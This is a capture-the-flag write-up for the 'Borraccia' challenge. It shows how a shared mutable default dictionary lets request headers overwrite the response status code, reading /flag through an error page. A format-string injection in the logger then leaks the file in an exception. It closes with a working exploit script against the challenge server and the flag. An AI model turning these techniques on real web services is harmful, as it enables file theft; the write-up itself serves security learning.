I introduce to you Borraccia!
Borraccia is a minimal web framework which puts security first. Are you asking how he does it? Well, by removing (almost) all the features that I consider useless. Obviously it's written in Python, so it's 100% safe!
Note: You are limited to 60 requests per minute. It's recommended to test it locally first.
Site: http://borraccia.challs.teamitaly.eu
Author: Salvatore Abello <@salvatore.abello>
In this challenge we are given an application which uses a custom, poorly-written web framework, called Borraccia
(Flask in italian).
The challenge is tagged as a misc
, so we probably need to use some Python shenanigans in order to solve the challenge.
The first thing that catches our attention is something called ObjDict
, let's see how it's implemented and what it does:
class ObjDict:
def __init__(self, d={}):
self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__
def __getattr__(self, key):
if key in self._data:
return self._data[key]
return None
def __contains__(self, key):
return key in self._data
def __setattr__(self, key, value):
self._data[key] = value
def __getitem__(self, key):
return self._data[key]
def __setitem__(self, key, value):
self._data[key] = value
def __delitem__(self, key):
del self._data[key]
def __enter__(self, *args):
return self
def __exit__(self, *args):
self.__dict__["_data"].clear()
def __repr__(self):
return f"ObjDict object at <{hex(id(self))}>"
def __iter__(self):
return iter(self._data)
Basically, this class works like an object in JavaScript:
obj = ObjDict() # We can also use `with` operator
obj.first = 10
obj.second = "20"
print(obj.first) # 10
print(obj.second) # 20
print(obj.third) # None
print(obj.secondobj.first) # Error
obj.secondobj = ObjDict()
obj.secondobj.test = "yay"
print(obj.secondobj.test) # yay
At first glance this class would seem fine, but if you know at least the basics of Python, you can see that this class uses a mutable object as default argument!
So, each and every instance of ObjDict shares the same dictionary! This will come in handy later...
We need to read the flag from /flag somehow, so there's probably a path traversal.
We can see three interesting functions:
serve_file
serve_static_file
serve_error
The first two functions are not used inside server.py
, so the only function left is serve_error
.
Inside server.py
:
ctx.response.body = utils.serve_error(ctx.response.status_code)
If we can control the value of status_code
, we can read arbitrary files.
But... How?! Isn't status_code
only modified by the server?
Let's see how the request/response is handled:
ctx.response = ObjDict()
ctx.request = ObjDict()
ctx.response.status_code = 200 # Default value
Oh! Did you see that? ctx.response
and ctx.request
shares the same dictionary!
We can overwrite values thanks to:
for probable_header in filter(None, rows[1:]): # Memorizing headers
if (cap:=HEADER_RE.search(probable_header)):
header = cap.group(1)
value = cap.group(2)
h = utils.normalize_header(header)
v = utils.normalize_header_value(value)
ctx.request[h] = v
So, if we send a request with status-code: /flag
the server will send the flag to us... Right?
Unfortunately no, let's take a look inside request_handler
:
try:
utils.build_header(ctx) # Now the response is ready to be sent
utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)
assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200
except AssertionError:
raise # Something unexpected happened, close conection immediately
except Exception as e:
ctx.response.status_code = 500
ctx.response.header = ""
ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header.
client.send((ctx.response.header + ctx.response.body).encode())
The flag will be loaded inside ctx.response.body but it will not be sent due to that assert
, but if we're able to cause an exception (but not an AssertionError) with the flag inside, we can receive it.
The first error that came into my mind is, KeyError
:
test = {}
flag = "flag{fake}"
try:
test[flag]
except KeyError as e:
print(e) # 'flag{fake}'
Let's see how utils.log
is implemented:
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})
Do you see something SUSpicious? Of course you do. We can exploit s.format
in order to force logging to cause an exception:
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})
try:
log(logging, "%(flag{fake_flag})s")
except Exception as e:
print(e) # flag{fake_flag}
We can send a similar header in order to get the flag:
status-code: %({0[response][body]})s
But this is not going to work, there's a blacklist:
@lru_cache
def normalize_header_value(s: str) -> str:
return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)
So we can't use the following characters: %".\n'!:()
Since the blacklist is applied only to headers, we can bypass this by e.g putting those blacklisted characters inside request.params.
import re
import requests
r = requests.get("http://borraccia.challs.teamitaly.eu?a=%(&b=)s",
headers={
"status-code": "/flag",
"method": "{0[request][params][a]}{0[response][body]}{0[request][params][b]}"
})
print("FLAG:", re.search(r"<!--'(flag\{.+\})'-->", r.text).group(1))
flag{4Ss3r7_3v3ry7h1nG!1!1!}